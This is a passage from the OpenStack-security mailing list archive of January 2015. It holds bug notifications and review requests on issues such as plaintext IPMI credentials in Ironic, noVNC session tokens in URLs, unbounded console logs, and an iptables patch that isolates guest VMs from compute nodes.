Tue, 06 Jan 2015 00:05:55 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150105235627.21957.76333.launchpad@gac.canonical.com> ** Changed in: glance Status: Triaged => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From divius.inside at gmail.com Wed Jan 7 13:05:56 2015 From: divius.inside at gmail.com (Dmitry "Divius" Tantsur) Date: Wed, 07 Jan 2015 13:05:56 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150107125905.31112.61428.malone@chaenomeles.canonical.com> This is a known problem and proper solution probably in implementing some kind of access policy showing/hiding credentials to certain users. ** Summary changed: - security issue - ironic node-show expose the ipmi password + node-show discloses credentials as plain text in driver_info ** Changed in: ironic Status: New => Confirmed ** Changed in: ironic Importance: Undecided => Medium ** Tags added: security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): Confirmed Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions From dibarra at hostgator.com Tue Jan 13 22:43:03 2015 From: dibarra at hostgator.com (David Ibarra) Date: Tue, 13 Jan 2015 22:43:03 -0000 Subject: [Openstack-security] [Bug 1197459] Re: noVNC contains the session token in URL and insecurely sets the session cookie References: <20130703161152.14968.85936.malonedeb@gac.canonical.com> Message-ID: <20150113224303.4510.61604.malone@chaenomeles.canonical.com> Attached is a quick and dirty hack for Juno, it just deletes the token whenever it's verified once. ** Patch added: "1001-novnc_session_token_vuln.patch" https://bugs.launchpad.net/nova/+bug/1197459/+attachment/4297965/+files/1001-novnc_session_token_vuln.patch -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1197459 Title: noVNC contains the session token in URL and insecurely sets the session cookie Status in OpenStack Compute (Nova): Opinion Status in OpenStack Security Advisories: Won't Fix Bug description: The VNC Console connection in Nova works by having the user connect to the API which returns a URL such as: https://example.com:443/?token=abc Where the token has a TTL which is then used to create a session from a WebSocket. However, URL's should not contain sensitive information such as session tokens with a TTL since URL's can be leaked through proxy logs or other types of attacks such as Cross-Site Scripting. Additionally, due to the session cookie being set with JavaScript it cannot securely be set to HttpOnly nor is it set with the Secure flag making it further susceptible to Cross- Site Scripting attacks or leakage through a non-SSL connection. To limit the exposure of the token being leaked through the URL the returned token from the API should be of a one-time use and only used as an authentication token in order to obtain a session. The session cookie should be set by a Web Service instead of the client in order to securely set the cookie with the HttpOnly flag to be set in addition to setting the Secure flag. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1197459/+subscriptions From dibarra at hostgator.com Tue Jan 13 23:25:07 2015 From: dibarra at hostgator.com (David Ibarra) Date: Tue, 13 Jan 2015 23:25:07 -0000 Subject: [Openstack-security] [Bug 1197459] Re: noVNC contains the session token in URL and insecurely sets the session cookie References: <20130703161152.14968.85936.malonedeb@gac.canonical.com> Message-ID: <20150113232507.4891.25614.malone@chaenomeles.canonical.com> ** Patch removed: "1001-novnc_session_token_vuln.patch" https://bugs.launchpad.net/nova/+bug/1197459/+attachment/4297965/+files/1001-novnc_session_token_vuln.patch ** Patch added: "1001-novnc_session_token_vuln.patch" https://bugs.launchpad.net/nova/+bug/1197459/+attachment/4297979/+files/1001-novnc_session_token_vuln.patch -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1197459 Title: noVNC contains the session token in URL and insecurely sets the session cookie Status in OpenStack Compute (Nova): Opinion Status in OpenStack Security Advisories: Won't Fix Bug description: The VNC Console connection in Nova works by having the user connect to the API which returns a URL such as: https://example.com:443/?token=abc Where the token has a TTL which is then used to create a session from a WebSocket. However, URL's should not contain sensitive information such as session tokens with a TTL since URL's can be leaked through proxy logs or other types of attacks such as Cross-Site Scripting. Additionally, due to the session cookie being set with JavaScript it cannot securely be set to HttpOnly nor is it set with the Secure flag making it further susceptible to Cross- Site Scripting attacks or leakage through a non-SSL connection. To limit the exposure of the token being leaked through the URL the returned token from the API should be of a one-time use and only used as an authentication token in order to obtain a session. The session cookie should be set by a Web Service instead of the client in order to securely set the cookie with the HttpOnly flag to be set in addition to setting the Secure flag. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1197459/+subscriptions From matrixs.zero at gmail.com Mon Jan 19 14:15:17 2015 From: matrixs.zero at gmail.com (Lei Li) Date: Mon, 19 Jan 2015 14:15:17 -0000 Subject: [Openstack-security] [Bug 832507] Re: console.log grows indefinitely References: <20110824042742.10840.74572.malonedeb@wampee.canonical.com> Message-ID: <20150119141517.23842.73758.malone@chaenomeles.canonical.com> Re comment #44: There has been a ring buffer char device named ringbuf available upstream in QEMU as Anthony suggested in comment #23 like following: qemu -chardev ringbuf,size=640k,id=foo -serial chardev:foo And the QMP commands have already been exposed by QEMU like: { 'command': 'ringbuf-read', 'arguments': "arguments": { "device": "foo", "size": 1000, "format": "utf8" } } Actually it was just the implementation of this request: http://comments.gmane.org/gmane.comp.emulators.qemu/190843 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/832507 Title: console.log grows indefinitely Status in OpenStack Compute (Nova): Triaged Status in OpenStack Security Advisories: Won't Fix Status in libvirt package in Ubuntu: Fix Released Status in nova package in Ubuntu: Fix Released Status in qemu-kvm package in Ubuntu: Triaged Bug description: KVM takes everything from stdout and prints it to console.log. This does not appear to have a size limit, so if a user (mistakenly or otherwise) sends a lot of data to stdout, the console.log file can fill the entire disk of the compute node quite quickly. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/832507/+subscriptions From kevin.carter at rackspace.com Mon Jan 19 19:44:31 2015 From: kevin.carter at rackspace.com (Kevin Carter) Date: Mon, 19 Jan 2015 19:44:31 -0000 Subject: [Openstack-security] [Bug 1412393] Re: mariadb repo unnecessarily configured in all containers References: <20150119110012.23998.45109.malonedeb@gac.canonical.com> Message-ID: <20150119194432.23544.58306.launchpad@gac.canonical.com> ** Changed in: openstack-ansible Importance: Medium => Low ** Changed in: openstack-ansible Milestone: None => next ** Changed in: openstack-ansible Status: New => Triaged -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1412393 Title: mariadb repo unnecessarily configured in all containers Status in Ansible playbooks for deploying OpenStack: Triaged Bug description: The mariadb repo is unnecessarily configured on every host and in every container. The repo should only configured for containers and hosts that require access to the database. In order to provide a more secure-by-default installation, the /root/.my.cnf client configuration should only placed where necessary - the utility container is likely to be the only location that requires it as all DB access by services are done through explicit configuration with a restricted DB user. Another set of containers it should perhaps be placed into would be the galera containers themselves. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1412393/+subscriptions From zhenzan.zhou at intel.com Tue Jan 27 03:29:33 2015 From: zhenzan.zhou at intel.com (Zhenzan Zhou) Date: Tue, 27 Jan 2015 03:29:33 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150127032935.12520.3688.launchpad@soybean.canonical.com> ** Changed in: ironic Assignee: (unassigned) => Zhenzan Zhou (zhenzan-zhou) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): Confirmed Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions From nikhil.komawar at rackspace.com Wed Jan 7 19:35:37 2015 From: nikhil.komawar at rackspace.com (nikhil komawar) Date: Wed, 07 Jan 2015 19:35:37 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150107192624.21634.48700.launchpad@soybean.canonical.com> ** Changed in: glance-store Milestone: None => v0.1.11 ** Changed in: glance Milestone: None => kilo-2 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From gerrit2 at review.openstack.org Tue Jan 27 14:01:17 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 27 Jan 2015 14:01:17 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I399b812f6d452226fd306c423de8dcea8520d2aa Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/138368 Log: commit 52f7c30f59e476ea85fb43ec19e18ce378455596 Author: abhishekkekane Date: Tue Oct 21 01:37:42 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). Conflicts: nova/tests/unit/test_wsgi.py Note: The required unit-tests are manually added to the below path, as new path for unit-tests is not present in stable/juno release. nova/tests/compute/test_host_api.py This patch is not 1:1 cherry-pick, I have changed the default value of client_socket_timeout to 0 and wsgi_keep_alive to False. SecurityImpact Closes-Bug: #1361360 Change-Id: I399b812f6d452226fd306c423de8dcea8520d2aa (cherry picked from commit 04d7a724fdf80db51e73f12c5b8c982db9310742) From sean at dague.net Tue Jan 27 17:47:20 2015 From: sean at dague.net (Sean Dague) Date: Tue, 27 Jan 2015 17:47:20 -0000 Subject: [Openstack-security] [Bug 1316271] Re: Network Security: VM hosts can SSH to compute node References: <20140505190222.27207.36590.malonedeb@gac.canonical.com> Message-ID: <20150127174721.29600.68360.malone@wampee.canonical.com> Agreed by core team that this is mostly a deployment topology issue, and nova-network was never designed to address it. Will not fix it. ** Changed in: nova Milestone: kilo-2 => None ** Changed in: nova Status: In Progress => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1316271 Title: Network Security: VM hosts can SSH to compute node Status in OpenStack Compute (Nova): Won't Fix Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Bug description: Hi guys, We're still using nova-network and we'll be using it for a while and we noticed that the VM guests can contact the compute nodes on all ports ... The one we're the most preoccupied with is SSH. We've written the following patch in order to isolate the VM guests from the VM hosts. --- linux_net.py.orig 2014-05-05 17:25:10.171746968 +0000 +++ linux_net.py 2014-05-05 18:42:54.569209220 +0000 @@ -805,6 +805,24 @@ @utils.synchronized('lock_gateway', external=True) +def isolate_compute_from_guest(network_ref): + if not network_ref: + return + + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.apply() + def initialize_gateway_device(dev, network_ref): if not network_ref: return @@ -1046,6 +1064,7 @@ try: _execute('kill', '-HUP', pid, run_as_root=True) _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) return except Exception as exc: # pylint: disable=W0703 LOG.error(_('Hupping dnsmasq threw %s'), exc) @@ -1098,6 +1117,7 @@ _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) @utils.synchronized('radvd_start') def update_ra(context, dev, network_ref): To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1316271/+subscriptions From zhenzan.zhou at intel.com Wed Jan 28 02:09:06 2015 From: zhenzan.zhou at intel.com (Zhenzan Zhou) Date: Wed, 28 Jan 2015 02:09:06 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150128020906.28973.96622.malone@gac.canonical.com> Current enforced policy already make sure only users with admin role can get node detail info, i.e. able to run "node-show". If we just hide the plain text in output, people can still use '--debug' option to get the plain text from the original response from ironic-api server. It's easy to just hide it in api server side, but if we still want to see the plain text in some cases, we'll have to change the API. So a compromised solution would be adding a new config option in ironic.conf to control if sensitive credentials should be hidden in api response. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): Confirmed Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions From gerrit2 at review.openstack.org Wed Jan 28 07:28:53 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 28 Jan 2015 07:28:53 +0000 Subject: [Openstack-security] [openstack/keystone-specs] SecurityImpact review request change Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/105913 Log: commit c685bbb8bca2a3df07370e8ad42d5e54048c9086 Author: Guang Yee Date: Wed Jul 9 16:11:07 2014 -0700 Tokenless authorization with X.509 SSL client certificate Spec for tokenless authorization with X.509 SSL client certificate SecurityImpact bp keystone-tokenless-authz-with-x509-ssl-client-cert Change-Id: Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f From malini.k.bhandaru at intel.com Wed Jan 28 07:33:53 2015 From: malini.k.bhandaru at intel.com (Malini Bhandaru) Date: Wed, 28 Jan 2015 07:33:53 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150128073353.29705.83692.malone@wampee.canonical.com> Humm .. cannot save the password in the DB in some hashed form because we need it for logging into driver. May also want it to display it just in case someone set it up all wrong. How is this handled in other projects .. example Cinder drivers. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): In Progress Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions From slukjanov at mirantis.com Wed Jan 28 12:50:00 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Wed, 28 Jan 2015 12:50:00 -0000 Subject: [Openstack-security] [Bug 1394988] Re: Hadoop with auto security group not working References: <20141121132920.28673.42565.malonedeb@wampee.canonical.com> Message-ID: <20150128125002.457.13461.launchpad@chaenomeles.canonical.com> ** Changed in: sahara/juno Status: New => Triaged ** Changed in: sahara/juno Importance: High => Critical ** Changed in: sahara/juno Milestone: None => 2014.2.2 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1394988 Title: Hadoop with auto security group not working Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: Triaged Bug description: ENV: OpenStack with Neutron Steps to reproduce: 1. Create cluster with auto security groups and two or more nodemanagers. 2. Launch pig job with 1Gb input data Result: After ~1 hour job in KILLED state. Reproduced with the following plugins: Vanilla 2 HDP 2 CDH To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1394988/+subscriptions From slukjanov at mirantis.com Wed Jan 28 12:52:24 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Wed, 28 Jan 2015 12:52:24 -0000 Subject: [Openstack-security] [Bug 1391520] Re: Create CDH cluster with auto security group failed References: <20141111134553.19455.35550.malonedeb@gac.canonical.com> Message-ID: <20150128125225.457.49581.launchpad@chaenomeles.canonical.com> ** Changed in: sahara/juno Milestone: None => 2014.2.2 ** Changed in: sahara/juno Importance: Undecided => High ** Changed in: sahara/juno Status: New => Triaged -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391520 Title: Create CDH cluster with auto security group failed Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: Triaged Bug description: Steps to reproduce: Create cluster with auto security groups. Result: Cluster in 'Configuring' state To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1391520/+subscriptions From slukjanov at mirantis.com Wed Jan 28 13:26:07 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Wed, 28 Jan 2015 13:26:07 -0000 Subject: [Openstack-security] [Bug 1394988] Re: Hadoop with auto security group not working References: <20141121132920.28673.42565.malonedeb@wampee.canonical.com> Message-ID: <20150128132608.29229.58015.launchpad@gac.canonical.com> ** Changed in: sahara/juno Assignee: (unassigned) => Nikita Konovalov (nkonovalov) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1394988 Title: Hadoop with auto security group not working Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: Triaged Bug description: ENV: OpenStack with Neutron Steps to reproduce: 1. Create cluster with auto security groups and two or more nodemanagers. 2. Launch pig job with 1Gb input data Result: After ~1 hour job in KILLED state. Reproduced with the following plugins: Vanilla 2 HDP 2 CDH To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1394988/+subscriptions From slukjanov at mirantis.com Wed Jan 28 13:26:15 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Wed, 28 Jan 2015 13:26:15 -0000 Subject: [Openstack-security] [Bug 1391520] Re: Create CDH cluster with auto security group failed References: <20141111134553.19455.35550.malonedeb@gac.canonical.com> Message-ID: <20150128132617.29342.49131.launchpad@wampee.canonical.com> ** Changed in: sahara/juno Assignee: (unassigned) => Nikita Konovalov (nkonovalov) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391520 Title: Create CDH cluster with auto security group failed Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: Triaged Bug description: Steps to reproduce: Create cluster with auto security groups. Result: Cluster in 'Configuring' state To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1391520/+subscriptions From 1391520 at bugs.launchpad.net Wed Jan 28 15:35:27 2015 From: 1391520 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 28 Jan 2015 15:35:27 -0000 Subject: [Openstack-security] [Bug 1391520] Re: Create CDH cluster with auto security group failed References: <20141111134553.19455.35550.malonedeb@gac.canonical.com> Message-ID: <20150128153527.29923.62672.malone@wampee.canonical.com> Fix proposed to branch: stable/juno Review: https://review.openstack.org/150819 ** Changed in: sahara/juno Status: Triaged => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391520 Title: Create CDH cluster with auto security group failed Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: In Progress Bug description: Steps to reproduce: Create cluster with auto security groups. Result: Cluster in 'Configuring' state To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1391520/+subscriptions From 1394988 at bugs.launchpad.net Wed Jan 28 15:42:06 2015 From: 1394988 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 28 Jan 2015 15:42:06 -0000 Subject: [Openstack-security] [Bug 1394988] Re: Hadoop with auto security group not working References: <20141121132920.28673.42565.malonedeb@wampee.canonical.com> Message-ID: <20150128154206.12347.78331.malone@soybean.canonical.com> Fix proposed to branch: stable/juno Review: https://review.openstack.org/150823 ** Changed in: sahara/juno Status: Triaged => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1394988 Title: Hadoop with auto security group not working Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: In Progress Bug description: ENV: OpenStack with Neutron Steps to reproduce: 1. Create cluster with auto security groups and two or more nodemanagers. 2. Launch pig job with 1Gb input data Result: After ~1 hour job in KILLED state. Reproduced with the following plugins: Vanilla 2 HDP 2 CDH To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1394988/+subscriptions From dibarra at hostgator.com Wed Jan 28 17:43:10 2015 From: dibarra at hostgator.com (David Ibarra) Date: Wed, 28 Jan 2015 17:43:10 -0000 Subject: [Openstack-security] [Bug 1197459] Re: noVNC contains the session token in URL and insecurely sets the session cookie References: <20130703161152.14968.85936.malonedeb@gac.canonical.com> Message-ID: <20150128174310.12487.18776.malone@soybean.canonical.com> I just loaded up VNC and it seems to work fine for me, the ctrl+alt+delete function works and everything. It is a hack, but it at least protects against a MITM/XSS situation where someone can grab the token. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1197459 Title: noVNC contains the session token in URL and insecurely sets the session cookie Status in OpenStack Compute (Nova): Opinion Status in OpenStack Security Advisories: Won't Fix Bug description: The VNC Console connection in Nova works by having the user connect to the API which returns a URL such as: https://example.com:443/?token=abc Where the token has a TTL which is then used to create a session from a WebSocket. However, URL's should not contain sensitive information such as session tokens with a TTL since URL's can be leaked through proxy logs or other types of attacks such as Cross-Site Scripting. Additionally, due to the session cookie being set with JavaScript it cannot securely be set to HttpOnly nor is it set with the Secure flag making it further susceptible to Cross- Site Scripting attacks or leakage through a non-SSL connection. To limit the exposure of the token being leaked through the URL the returned token from the API should be of a one-time use and only used as an authentication token in order to obtain a session. The session cookie should be set by a Web Service instead of the client in order to securely set the cookie with the HttpOnly flag to be set in addition to setting the Secure flag. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1197459/+subscriptions From gerrit2 at review.openstack.org Thu Jan 29 10:37:27 2015 